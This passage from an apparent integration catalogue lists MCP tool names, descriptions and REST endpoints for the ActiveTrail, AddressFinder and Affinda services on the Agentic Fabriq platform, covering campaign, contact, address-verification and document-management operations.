activetrail_get_api_v2_whatsappcampaign (read) — Get WhatsApp campaign content (v2) via GET /api/v2/WhatsAppCampaign GET /api/v1/activetrail/api/v2/WhatsAppCampaign. Scopes: api. activetrail_get_api_webhooks (read) — Get account's Webhooks information via GET /api/webhooks GET /api/v1/activetrail/api/webhooks. Scopes: api. activetrail_get_api_webhooks_by_id (read) — Get the Webhook of a given id via GET /api/webhooks/{id} GET /api/v1/activetrail/api/webhooks/{id}. Scopes: api. activetrail_get_api_webhooks_by_id_parameters (read) — Get the Webhook Parameters for a given webhook id via GET /api/webhooks/{id}/parameters GET /api/v1/activetrail/api/webhooks/{id}/parameters. Scopes: api. activetrail_get_api_whatsappcampaign (read) — Get WhatsApp campaign content via GET /api/WhatsAppCampaign GET /api/v1/activetrail/api/WhatsAppCampaign. Scopes: api. activetrail_get_api_whatsappcampaign_profiles (read) — Get all WhatsApp profiles for the account via GET /api/whatsappcampaign/profiles GET /api/v1/activetrail/api/whatsappcampaign/profiles. Scopes: api. activetrail_get_api_whatsappcampaign_templates (read) — Get all approved WhatsApp templates for the user via GET /api/whatsappcampaign/templates GET /api/v1/activetrail/api/whatsappcampaign/templates. Scopes: api. activetrail_get_api_whatsappcampaign_templates_by_id (read) — Get a specific WhatsApp template by ID (Sid) via GET /api/whatsappcampaign/templates/{id} GET /api/v1/activetrail/api/whatsappcampaign/templates/{id}. Scopes: api. activetrail_get_whatsappcampaign_getcampaigncontent (read) — Get WhatsApp campaign content (unversioned path) via GET /WhatsAppCampaign/GetCampaignContent GET /api/v1/activetrail/WhatsAppCampaign/GetCampaignContent. Scopes: api. activetrail_post_api_account_contentcategories (write) — Create a new category. via POST /api/account/contentCategories POST /api/v1/activetrail/api/account/contentCategories. Scopes: api. activetrail_post_api_automations_by_id_test (write) — Send test campaigns from the given automation via POST /api/automations/{id}/test POST /api/v1/activetrail/api/automations/{id}/test. Scopes: api. activetrail_post_api_campaigns (write) — Create and return a new campaign for specific groups. The campaign can be set as an A/B split, E-commerc or a regular campaign. Don't worry, we symplified it via POST /api/campaigns POST /api/v1/activetrail/api/campaigns. Scopes: api. activetrail_post_api_campaigns_contacts (write) — Create and return a new campaign for specific contacts. The campaign can be set as an A/B split, E-commerc or a regular campaign. Don't worry, we symplified via POST /api/campaigns/Contacts POST /api/v1/activetrail/api/campaigns/Contacts. Scopes: api. activetrail_post_api_commerce_cart (write) — Add new cart via POST /api/commerce/Cart POST /api/v1/activetrail/api/commerce/Cart. Scopes: api. activetrail_post_api_commerce_order (write) — Add new order via POST /api/commerce/Order POST /api/v1/activetrail/api/commerce/Order. Scopes: api. activetrail_post_api_contacts (write) — Create and return a new contact. Please note: if the contact does not exist in the account they will be added but won't be linked to any group - making it via POST /api/contacts POST /api/v1/activetrail/api/contacts. Scopes: api. activetrail_post_api_contacts_import (write) — Import contacts to a group. Limited to 1000 contacts per call. via POST /api/contacts/Import POST /api/v1/activetrail/api/contacts/Import. Scopes: api. activetrail_post_api_external_group_by_groupid (write) — Add contact to group with the given external id and external name. Limited to 1000 contacts per call. via POST /api/external/group/{groupId} POST /api/v1/activetrail/api/external/group/{groupId}. Scopes: api. activetrail_post_api_external_import (write) — Import contacts. Limited to 1000 contacts. If the external ID you try to import exists - you'll get an error via POST /api/external/import POST /api/v1/activetrail/api/external/import. Scopes: api. activetrail_post_api_external_mailinglist_by_mailinglistid (write) — Add contact to mailing list with the given external id and external name. Limited to 1000 contacts per call. via POST /api/external/mailinglist/{mailinglistId} POST /api/v1/activetrail/api/external/mailinglist/{mailinglistId}. Scopes: api. activetrail_post_api_external_mapping (write) — Map external id and external name to unmapped contact via POST /api/external/mapping POST /api/v1/activetrail/api/external/mapping. Scopes: api. activetrail_post_api_external_operational_message (write) — Create and send a new operational message via POST /api/external/operational/message POST /api/v1/activetrail/api/external/operational/message. Scopes: api. activetrail_post_api_external_operational_sms_message (write) — Create and send a new operational sms message via POST /api/external/operational/sms_message POST /api/v1/activetrail/api/external/operational/sms_message. Scopes: api. activetrail_post_api_groups (write) — Create and return a new Group. via POST /api/groups POST /api/v1/activetrail/api/groups. Scopes: api. activetrail_post_api_groups_by_id_members (write) — Add contact to a specific group. You can set the contact's status. please note: you cannot import a contact in status subscribe if he is inactive on via POST /api/groups/{id}/members POST /api/v1/activetrail/api/groups/{id}/members. Scopes: api. activetrail_post_api_mailinglist (write) — Create and return a new Mailing List. via POST /api/mailinglist POST /api/v1/activetrail/api/mailinglist. Scopes: api. activetrail_post_api_mailinglist_by_id_members (write) — Add a member to a mailing list via POST /api/mailinglist/{id}/members POST /api/v1/activetrail/api/mailinglist/{id}/members. Scopes: api. activetrail_post_api_operationalmessage_contacts (write) — Send an email operational message to individual contacts (limited to 500 messages). The contacts will be created in your account. via POST /api/OperationalMessage/Contacts POST /api/v1/activetrail/api/OperationalMessage/Contacts. Scopes: api. activetrail_post_api_operationalmessage_message (write) — Send an email operational message to individual emails (limited to 500 messages). The emails will be created as contacts in your account. via POST /api/OperationalMessage/Message POST /api/v1/activetrail/api/OperationalMessage/Message. Scopes: api. activetrail_post_api_saleslifecycle_lead (write) — Add new Lead via POST /api/salesLifeCycle/Lead POST /api/v1/activetrail/api/salesLifeCycle/Lead. Scopes: api. activetrail_post_api_saleslifecycle_opportunity (write) — Add new Opportunity via POST /api/salesLifeCycle/Opportunity POST /api/v1/activetrail/api/salesLifeCycle/Opportunity. Scopes: api. activetrail_post_api_segmentation (write) — Create a new segmentation via POST /api/segmentation POST /api/v1/activetrail/api/segmentation. Scopes: api. activetrail_post_api_smartcodesite (write) — Create a new Smart Code site via POST /api/smartcodesite POST /api/v1/activetrail/api/smartcodesite. Scopes: api. activetrail_post_api_smscampaign_campaign (write) — Create and return a new SMS campaign via POST /api/smscampaign/Campaign POST /api/v1/activetrail/api/smscampaign/Campaign. Scopes: api. activetrail_post_api_smscampaign_operationalmessage (write) — Create and return a new operational SMS message via POST /api/smscampaign/OperationalMessage POST /api/v1/activetrail/api/smscampaign/OperationalMessage. Scopes: api. activetrail_post_api_templates (write) — Create and return a new template. via POST /api/templates POST /api/v1/activetrail/api/templates. Scopes: api. activetrail_post_api_templates_by_id_campaign (write) — Create campaign using a specific template via POST /api/templates/{Id}/campaign POST /api/v1/activetrail/api/templates/{Id}/campaign. Scopes: api. activetrail_post_api_templates_templatecategory (write) — Create and return a new template category. via POST /api/templates/TemplateCategory POST /api/v1/activetrail/api/templates/TemplateCategory. Scopes: api. activetrail_post_api_webhooks (write) — Create a new Webhook via POST /api/webhooks POST /api/v1/activetrail/api/webhooks. Scopes: api. activetrail_post_api_webhooks_by_id_parameters (write) — Add a webhook parameter via POST /api/webhooks/{id}/parameters POST /api/v1/activetrail/api/webhooks/{id}/parameters. Scopes: api. activetrail_post_api_webhooks_by_id_test (write) — Send a test request for a given Webhook via POST /api/webhooks/{id}/Test POST /api/v1/activetrail/api/webhooks/{id}/Test. Scopes: api. activetrail_post_api_webhooks_test (write) — Send a test request with a given url and parameters via POST /api/webhooks/Test POST /api/v1/activetrail/api/webhooks/Test. Scopes: api. activetrail_post_api_whatsappcampaign_sendcampaign (write) — Creates and sends a new WhatsApp campaign. Important: at a first time message to a contact you must send an approved template (should you have a template to via POST /api/whatsappcampaign/SendCampaign POST /api/v1/activetrail/api/whatsappcampaign/SendCampaign. Scopes: api. activetrail_post_api_whatsappcampaign_sendoperationalmessage (write) — Creates and sends a new WhatsApp operational message. Important: at a first time message to a contact you must send an approved template (should you have a via POST /api/whatsappcampaign/SendOperationalMessage POST /api/v1/activetrail/api/whatsappcampaign/SendOperationalMessage. Scopes: api. activetrail_put_api_account_contentcategories_by_id (write) — Update a specific category details by providing its' ID. via PUT /api/account/contentCategories/{id} PUT /api/v1/activetrail/api/account/contentCategories/{id}. Scopes: api. activetrail_put_api_automations_by_id_activation (write) — Activate/de-activate a given automation via PUT /api/automations/{id}/activation PUT /api/v1/activetrail/api/automations/{id}/activation. Scopes: api. activetrail_put_api_automations_by_id_details (write) — Update the setup of the given automation via PUT /api/automations/{id}/details PUT /api/v1/activetrail/api/automations/{id}/details. Scopes: api. activetrail_put_api_automations_by_id_emailcampaignsteps_by_stepid (write) — Update an email campaign step in a given automation via PUT /api/automations/{id}/EmailCampaignSteps/{stepId} PUT /api/v1/activetrail/api/automations/{id}/EmailCampaignSteps/{stepId}. Scopes: api. activetrail_put_api_automations_by_id_smscampaignsteps_by_stepid (write) — Update an SMS campaign step in the automation via PUT /api/automations/{id}/SMSCampaignSteps/{stepId} PUT /api/v1/activetrail/api/automations/{id}/SMSCampaignSteps/{stepId}. Scopes: api. activetrail_put_api_campaigns_by_id (write) — Update a given campaign. Please note: only campaigns that are in a draft mode can be updated. via PUT /api/campaigns/{id} PUT /api/v1/activetrail/api/campaigns/{id}. Scopes: api. activetrail_put_api_campaigns_by_id_design (write) — Update campaign design. Please note: only campaigns that are in draft mode can be updated via PUT /api/campaigns/{id}/design PUT /api/v1/activetrail/api/campaigns/{id}/design. Scopes: api. activetrail_put_api_campaigns_by_id_details (write) — Update campaign details. Please note: only campaigns that are in draft mode can be updated via PUT /api/campaigns/{id}/details PUT /api/v1/activetrail/api/campaigns/{id}/details. Scopes: api. activetrail_put_api_campaigns_by_id_scheduling (write) — Update campaign schedule. Please note: only campaigns that are in draft mode can be updated via PUT /api/campaigns/{id}/scheduling PUT /api/v1/activetrail/api/campaigns/{id}/scheduling. Scopes: api. activetrail_put_api_campaigns_by_id_segment (write) — Update campaign sending settings (groups and sending restrictions). Please note: only campaigns that are in draft mode can be updated via PUT /api/campaigns/{id}/segment PUT /api/v1/activetrail/api/campaigns/{id}/segment. Scopes: api. activetrail_put_api_campaigns_by_id_template (write) — Update campaign template. Please note: only campaigns that are in draft mode can be updated via PUT /api/campaigns/{id}/template PUT /api/v1/activetrail/api/campaigns/{id}/template. Scopes: api. activetrail_put_api_commerce_order_by_orderid (write) — Modify existing order via PUT /api/commerce/Order/{orderId} PUT /api/v1/activetrail/api/commerce/Order/{orderId}. Scopes: api. activetrail_put_api_contacts_by_id (write) — Update contact details via PUT /api/contacts/{id} PUT /api/v1/activetrail/api/contacts/{id}. Scopes: api. activetrail_put_api_contacts_merges_by_id (write) — Resolve the given conflict via PUT /api/contacts/merges/{id} PUT /api/v1/activetrail/api/contacts/merges/{id}. Scopes: api. activetrail_put_api_external_contact_by_externalid (write) — Update the given contact via PUT /api/external/contact/{externalId} PUT /api/v1/activetrail/api/external/contact/{externalId}. Scopes: api. activetrail_put_api_groups_by_id (write) — Update a given group via PUT /api/groups/{id} PUT /api/v1/activetrail/api/groups/{id}. Scopes: api. activetrail_put_api_saleslifecycle_lead_by_leadid (write) — Modify existing lead via PUT /api/salesLifeCycle/Lead/{leadId} PUT /api/v1/activetrail/api/salesLifeCycle/Lead/{leadId}. Scopes: api. activetrail_put_api_saleslifecycle_opportunity_by_opportunityid (write) — Modify existing opportunity via PUT /api/salesLifeCycle/Opportunity/{opportunityId} PUT /api/v1/activetrail/api/salesLifeCycle/Opportunity/{opportunityId}. Scopes: api. activetrail_put_api_segmentation_by_id (write) — Update the given segmentation via PUT /api/segmentation/{id} PUT /api/v1/activetrail/api/segmentation/{id}. Scopes: api. activetrail_put_api_smartcodesite_by_id (write) — Updates the exisiting Samrt Code site by site id via PUT /api/smartcodesite/{id} PUT /api/v1/activetrail/api/smartcodesite/{id}. Scopes: api. activetrail_put_api_smscampaign_campaign_by_id (write) — Update SMS campaign (whether it was sent or not). You can also sent the updated campaign in the process via PUT /api/smscampaign/Campaign/{id} PUT /api/v1/activetrail/api/smscampaign/Campaign/{id}. Scopes: api. activetrail_put_api_smscampaign_operationalmessage_by_id (write) — Update operational SMS messages. Only those who were not sent can be updated via PUT /api/smscampaign/OperationalMessage/{id} PUT /api/v1/activetrail/api/smscampaign/OperationalMessage/{id}. Scopes: api. activetrail_put_api_templates_by_id (write) — Update a specific template via PUT /api/templates/{id} PUT /api/v1/activetrail/api/templates/{id}. Scopes: api. activetrail_put_api_templates_by_id_content (write) — Update template's content. via PUT /api/templates/{Id}/content PUT /api/v1/activetrail/api/templates/{Id}/content. Scopes: api. activetrail_put_api_templates_templatecategory_by_id (write) — Update the given template category via PUT /api/templates/TemplateCategory/{id} PUT /api/v1/activetrail/api/templates/TemplateCategory/{id}. Scopes: api. activetrail_put_api_webhooks_by_id (write) — Update a Webhook via PUT /api/webhooks/{id} PUT /api/v1/activetrail/api/webhooks/{id}. Scopes: api. activetrail_put_api_webhooks_by_id_parameters_by_parameterid (write) — Update a given Webhook Parameter via PUT /api/webhooks/{id}/parameters/{parameterid} PUT /api/v1/activetrail/api/webhooks/{id}/parameters/{parameterid}. Scopes: api. ================================================================================ ## AddressFinder URL: https://www.agenticfabriq.com/integrations/addressfinder Section: Integrated Tools AddressFinder — 17 MCP tools Provider key: addressfinder. Scopes: api. Connect: BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. addressfinder_get_au_address_autocomplete (read) — Search Australian addresses by partial text and return ranked completions, each with its `full_address`, its `id` and the `canonical_address_id` of the official address behind it. This is the lookup the Australian metadata and verification tools take their `id` from -- call it first when an address arrives as free text. `q` is required by this integration. AddressFinder itself accepts its absence and answers 200 with an EMPTY completions array (measured 2026-09-23), which is indistinguishable from a genuine no-match -- so an empty result from this tool always means the search really found nothing, never that an argument was left out. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/au/address/autocomplete. Scopes: api. addressfinder_get_au_address_metadata (read) — The full structured record for ONE Australian address: street number, unit and level, locality, state, postcode, the assembled address lines, latitude and longitude, the G-NAF id, the Australia Post DPID, meshblock, SA1/SA2 and local-government area. SUPPLY EXACTLY ONE IDENTIFIER -- `id` (from the autocomplete tool), `gnaf_id` or `dpid`. Measured 2026-09-23, a call with none of them answers 400 'Specify an id, a gnaf_id, or a dpid'. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/au/address/metadata. Scopes: api. addressfinder_get_au_address_v2_verification (read) — Match one free-text Australian address against the official datasets in a single call and return `matched` plus the full structured record when it matches -- the tool for cleaning an address you already hold, where the autocomplete/metadata pair is for one a person is typing. AT LEAST ONE DATASET MUST BE NAMED: measured 2026-09-23, a call with neither `gnaf` nor `paf` answers 400 'Supply at least one of gnaf=1 or paf=1, to specify the dataset to verify against', although AddressFinder's spec marks both as defaulting to 1. Agentic Fabriq sends `gnaf=1&paf=1` when you name neither, so the call works either way; set one of them to search that dataset alone. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/au/address/v2/verification. Scopes: api. addressfinder_get_au_location_autocomplete (read) — Search Australian LOCATIONS rather than street addresses -- localities, streets, postcodes and states -- and return completions with `full_location`, `location_type`, `state_territory` and the `id` the Australian location metadata tool reads. Use this when the answer is an area ('Carlton VIC 3053') rather than a delivery point. `q` is required by this integration. AddressFinder itself accepts its absence and answers 200 with an EMPTY completions array (measured 2026-09-23), which is indistinguishable from a genuine no-match -- so an empty result from this tool always means the search really found nothing, never that an argument was left out. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/au/location/autocomplete. Scopes: api. addressfinder_get_au_location_metadata (read) — The structured record for ONE Australian location: its `full_location`, `location_type`, locality, state or territory, postcode, street parts where it is a street, and its latitude and longitude. `id` comes from the Australian location autocomplete tool. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/au/location/metadata. Scopes: api. addressfinder_get_by_country_address_v2_autocomplete (read) — Search addresses in one of AddressFinder's INTERNATIONAL countries by partial text and return completions with `full_address` and the `id` the international metadata tool reads. THIS IS NOT THE AUSTRALIAN OR NEW ZEALAND PRODUCT: `country` accepts be, ca, cz, de, dk, es, fr, gb, ie, nl, pt, se, sg, us and REFUSES `au` and `nz` (measured 2026-09-23 -- 400 'Country contains an unsupported country code', although AddressFinder's own specs page lists both). Use the dedicated Australian and New Zealand tools for those two. `q` is required by this integration. AddressFinder itself accepts its absence and answers 200 with an EMPTY completions array (measured 2026-09-23), which is indistinguishable from a genuine no-match -- so an empty result from this tool always means the search really found nothing, never that an argument was left out. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/{country}/address/v2/autocomplete. Scopes: api. addressfinder_get_by_country_address_v2_metadata (read) — The structured record for ONE international address: an `address` object with the assembled lines, locality, region and postcode, and a per-country `metadata` object. `id` comes from the international autocomplete tool and `country` must be the SAME country it was searched in. Refuses `au` and `nz` exactly as the autocomplete tool does; supported: be, ca, cz, de, dk, es, fr, gb, ie, nl, pt, se, sg, us. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/{country}/address/v2/metadata. Scopes: api. addressfinder_get_email_v1_verification (read) — Check one email address and report `is_verified`, `deliverability`, whether the domain is disposable, a role address (`support@`, `info@`), a public mailbox provider or a catch-all, plus `not_verified_code`/`not_verified_reason` when it fails. THIS TOOL DOES NOT TAKE `q` -- the argument is `email`. Measured 2026-09-23, omitting it answers 400 'Email can't be blank' although AddressFinder's spec marks it optional, and sending `q` instead answers the same 400, which reads like an auth or routing failure and is neither. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/email/v1/verification. Scopes: api. addressfinder_get_nz_address_autocomplete (read) — Search New Zealand addresses by partial text and return ranked completions, each with its display string `a` and its `pxid` -- the identifier the New Zealand metadata tool reads. Call this first when an address arrives as free text. `q` is required by this integration. AddressFinder itself accepts its absence and answers 200 with an EMPTY completions array (measured 2026-09-23), which is indistinguishable from a genuine no-match -- so an empty result from this tool always means the search really found nothing, never that an argument was left out. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/nz/address/autocomplete. Scopes: api. addressfinder_get_nz_address_metadata (read) — The full structured record for ONE New Zealand address: street, suburb, mailtown, postcode, the three postal lines, latitude and longitude, the LINZ AIMS id and SUFI, the NZ Post DPID, territorial authority, ward, constituency, meshblock and SA1/SA2. SUPPLY ONE IDENTIFIER -- `pxid` (from the autocomplete tool) or `dpid`. Measured 2026-09-23, a call with neither answers 400 'Specify a pxid or dpid'. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/nz/address/metadata. Scopes: api. addressfinder_get_nz_address_reverse_geocode (read) — The New Zealand addresses nearest a longitude/latitude pair, nearest first, each with its display string `a` and its `pxid`. `x` is LONGITUDE and `y` is LATITUDE -- that order, and New Zealand latitudes are negative. Measured 2026-09-23, omitting either answers 400 'X is not a number; Y is not a number'. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/nz/address/reverse_geocode. Scopes: api. addressfinder_get_nz_address_verification (read) — Match one free-text New Zealand address against the official dataset in a single call and return the full structured record with `matched` -- the tool for cleaning an address you already hold, where the autocomplete/metadata pair is for one a person is typing. `q` is required: measured 2026-09-23, a call without it answers 400 'Raw query can't be blank'. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/nz/address/verification. Scopes: api. addressfinder_get_nz_location_autocomplete (read) — Search New Zealand LOCATIONS rather than street addresses -- streets, suburbs, cities and regions -- and return completions with their display string `a` and the `pxid` the New Zealand location metadata tool reads. The four boolean switches choose which kinds of place are searched; omit them all to search every kind. `q` is required by this integration. AddressFinder itself accepts its absence and answers 200 with an EMPTY completions array (measured 2026-09-23), which is indistinguishable from a genuine no-match -- so an empty result from this tool always means the search really found nothing, never that an argument was left out. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/nz/location/autocomplete. Scopes: api. addressfinder_get_nz_location_metadata (read) — The structured record for ONE New Zealand location: its display string, suburb, city, region, postcode and its longitude (`x`) and latitude (`y`). `pxid` comes from the New Zealand location autocomplete tool. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/nz/location/metadata. Scopes: api. addressfinder_get_nz_points_of_interest_autocomplete (read) — Search New Zealand POINTS OF INTEREST by name -- buildings, complexes and named places -- and return completions with `name_and_address` and the `id` the point-of-interest metadata tool reads. This is the tool for 'the address of ', which the address autocomplete cannot answer. `q` is required by this integration. AddressFinder itself accepts its absence and answers 200 with an EMPTY completions array (measured 2026-09-23), which is indistinguishable from a genuine no-match -- so an empty result from this tool always means the search really found nothing, never that an argument was left out. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/nz/points_of_interest/autocomplete. Scopes: api. addressfinder_get_nz_points_of_interest_metadata (read) — The structured record for ONE New Zealand point of interest: its name, its longitude and latitude, and the full postal address behind it including the `address_pxid` that the New Zealand address metadata tool will expand. `id` comes from the point-of-interest autocomplete tool. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/nz/points_of_interest/metadata. Scopes: api. addressfinder_get_phone_v1_verification (read) — Check one phone number and report `is_verified`, `line_type` (mobile, landline, VOIP), `line_status` (connected or not) and the number in national and international formats. THIS TOOL DOES NOT TAKE `q` -- the arguments are `phone_number` and `default_country_code`, and BOTH are required in practice: measured 2026-09-23, omitting the country code answers 400 'Default country code can't be blank' even for a number that resolves. Every response carries `success`; a refusal carries `message` and a numeric `error_code` under HTTP 400 (AddressFinder never answers 401 for a bad key). GET /api/v1/addressfinder/phone/v1/verification. Scopes: api. ================================================================================ ## Affinda URL: https://www.agenticfabriq.com/integrations/affinda Section: Integrated Tools Affinda — 142 MCP tools Provider key: affinda. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. affinda_delete_v3_annotations_by_id (write, destructive) — Delete an annotation -- Deletes the specified annotation from the database. DELETE /api/v1/affinda/v3/annotations/{id}. Scopes: api. affinda_delete_v3_api_users_by_id (write, destructive) — DEPRECATED by Affinda ("Deprecated End Points" tag); live today, no end-of-life date published. Delete an API user -- Deletes the specified API user from the database. DELETE /api/v1/affinda/v3/api_users/{id}. Scopes: api. affinda_delete_v3_collections_by_identifier (write, destructive) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Delete a collection -- Deletes the specified collection from the database. DELETE /api/v1/affinda/v3/collections/{identifier}. Scopes: api. affinda_delete_v3_data_point_choices_by_id (write, destructive) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Delete a data point choice -- Deletes the specified data point choice from the database. DELETE /api/v1/affinda/v3/data_point_choices/{id}. Scopes: api. affinda_delete_v3_data_points_by_identifier (write, destructive) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Delete a data point -- Deletes the specified data point from the database. DELETE /api/v1/affinda/v3/data_points/{identifier}. Scopes: api. affinda_delete_v3_document_types_by_identifier (write, destructive) — Delete a document type -- Delete a document type. DELETE /api/v1/affinda/v3/document_types/{identifier}. Scopes: api. affinda_delete_v3_documents_by_identifier (write, destructive) — Delete a document -- Deletes the specified document from the database. DELETE /api/v1/affinda/v3/documents/{identifier}. Scopes: api. affinda_delete_v3_extractors_by_identifier (write, destructive) — DEPRECATED by Affinda (`deprecated: true`); live today, no end-of-life date published. Delete an extractor -- Deletes the specified extractor from the database. DELETE /api/v1/affinda/v3/extractors/{identifier}. Scopes: api. affinda_delete_v3_index_by_name (write, destructive) — Delete an index -- Deletes the specified index from the database DELETE /api/v1/affinda/v3/index/{name}. Scopes: api. affinda_delete_v3_index_by_name_documents_by_identifier (write, destructive) — Delete an indexed document -- Delete the specified indexed document from the database DELETE /api/v1/affinda/v3/index/{name}/documents/{identifier}. Scopes: api. affinda_delete_v3_invitations_by_identifier (write, destructive) — Delete an invitation -- Delete the specified invitation from the database. DELETE /api/v1/affinda/v3/invitations/{identifier}. Scopes: api. affinda_delete_v3_mapping_data_sources_by_identifier (write, destructive) — Delete specific data source -- Delete the specified mapping data source from the database. DELETE /api/v1/affinda/v3/mapping_data_sources/{identifier}. Scopes: api. affinda_delete_v3_mapping_data_sources_by_identifier_values_by_value (write, destructive) — Delete specific data source value -- Delete the specified mapping data source value from the database. DELETE /api/v1/affinda/v3/mapping_data_sources/{identifier}/values/{value}. Scopes: api. affinda_delete_v3_mappings_by_identifier (write, destructive) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Delete specific mapping -- Delete the specified mapping from the database. DELETE /api/v1/affinda/v3/mappings/{identifier}. Scopes: api. affinda_delete_v3_organization_memberships_by_identifier (write, destructive) — Delete an organization membership -- The admin users can use this endpoint to remove member from their organization. Other users can also use this to leave their organization. DELETE /api/v1/affinda/v3/organization_memberships/{identifier}. Scopes: api. affinda_delete_v3_organizations_by_identifier (write, destructive) — Delete an organization -- Delete the specified organization from the database. DELETE /api/v1/affinda/v3/organizations/{identifier}. Scopes: api. affinda_delete_v3_resthook_subscriptions_by_id (write, destructive) — Delete a resthook subscription -- Deletes the specified resthook subscription from the database. DELETE /api/v1/affinda/v3/resthook_subscriptions/{id}. Scopes: api. affinda_delete_v3_tags_by_id (write, destructive) — Delete an tag -- Deletes the specified tag from the database. DELETE /api/v1/affinda/v3/tags/{id}. Scopes: api. affinda_delete_v3_validation_results_by_id (write, destructive) — Delete a validation result -- Remove validation result. DELETE /api/v1/affinda/v3/validation_results/{id}. Scopes: api. affinda_delete_v3_workspace_memberships_by_identifier (write, destructive) — Delete a workspace membership -- Remove an user from a workspace. DELETE /api/v1/affinda/v3/workspace_memberships/{identifier}. Scopes: api. affinda_delete_v3_workspaces_by_identifier (write, destructive) — Delete a workspace -- Deletes the specified workspace from the database. DELETE /api/v1/affinda/v3/workspaces/{identifier}. Scopes: api. affinda_get_v3_annotations (read) — Get list of all annotations -- Returns your annotations. GET /api/v1/affinda/v3/annotations. Scopes: api. affinda_get_v3_annotations_by_id (read) — Get specific annotation -- Return a specific annotation. GET /api/v1/affinda/v3/annotations/{id}. Scopes: api. affinda_get_v3_api_users (read) — DEPRECATED by Affinda ("Deprecated End Points" tag); live today, no end-of-life date published. Get list of all API users -- Returns your API users. GET /api/v1/affinda/v3/api_users. Scopes: api. affinda_get_v3_api_users_by_id (read) — DEPRECATED by Affinda ("Deprecated End Points" tag); live today, no end-of-life date published. Get specific API user -- Return a specific API user. GET /api/v1/affinda/v3/api_users/{id}. Scopes: api. affinda_get_v3_collections (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get list of all collections -- Returns your collections. GET /api/v1/affinda/v3/collections. Scopes: api. affinda_get_v3_collections_by_identifier (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get specific collection -- Return a specific collection. GET /api/v1/affinda/v3/collections/{identifier}. Scopes: api. affinda_get_v3_collections_by_identifier_fields_by_datapoint_identifier (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get data field for a collection assosciated with a data point. -- Get a data field for a collection assosciated with a data point GET /api/v1/affinda/v3/collections/{identifier}/fields/{datapoint_identifier}. Scopes: api. affinda_get_v3_collections_by_identifier_usage (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get usage by collection -- Return monthly credits consumption of a collection. Deprecated: use `GET /v3/usage?organization={id}&document_type={id}` instead. GET /api/v1/affinda/v3/collections/{identifier}/usage. Scopes: api. affinda_get_v3_data_point_choices (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get list of data point choices -- Returns available choices for a specific enum data point. GET /api/v1/affinda/v3/data_point_choices. Scopes: api. affinda_get_v3_data_point_choices_by_id (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get specific data point choice -- Return a specific data point choice. GET /api/v1/affinda/v3/data_point_choices/{id}. Scopes: api. affinda_get_v3_data_points (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get list of all data points -- Returns your custom data points as well as Affinda's off-the-shelf data points. GET /api/v1/affinda/v3/data_points. Scopes: api. affinda_get_v3_data_points_by_identifier (read) — DEPRECATED by Affinda (`deprecated: true` + tag); live today, no end-of-life date published. Get specific data point -- Return a specific data point. GET /api/v1/affinda/v3/data_points/{identifier}. Scopes: api. affinda_get_v3_document_splitters (read) — DEPRECATED by Affinda 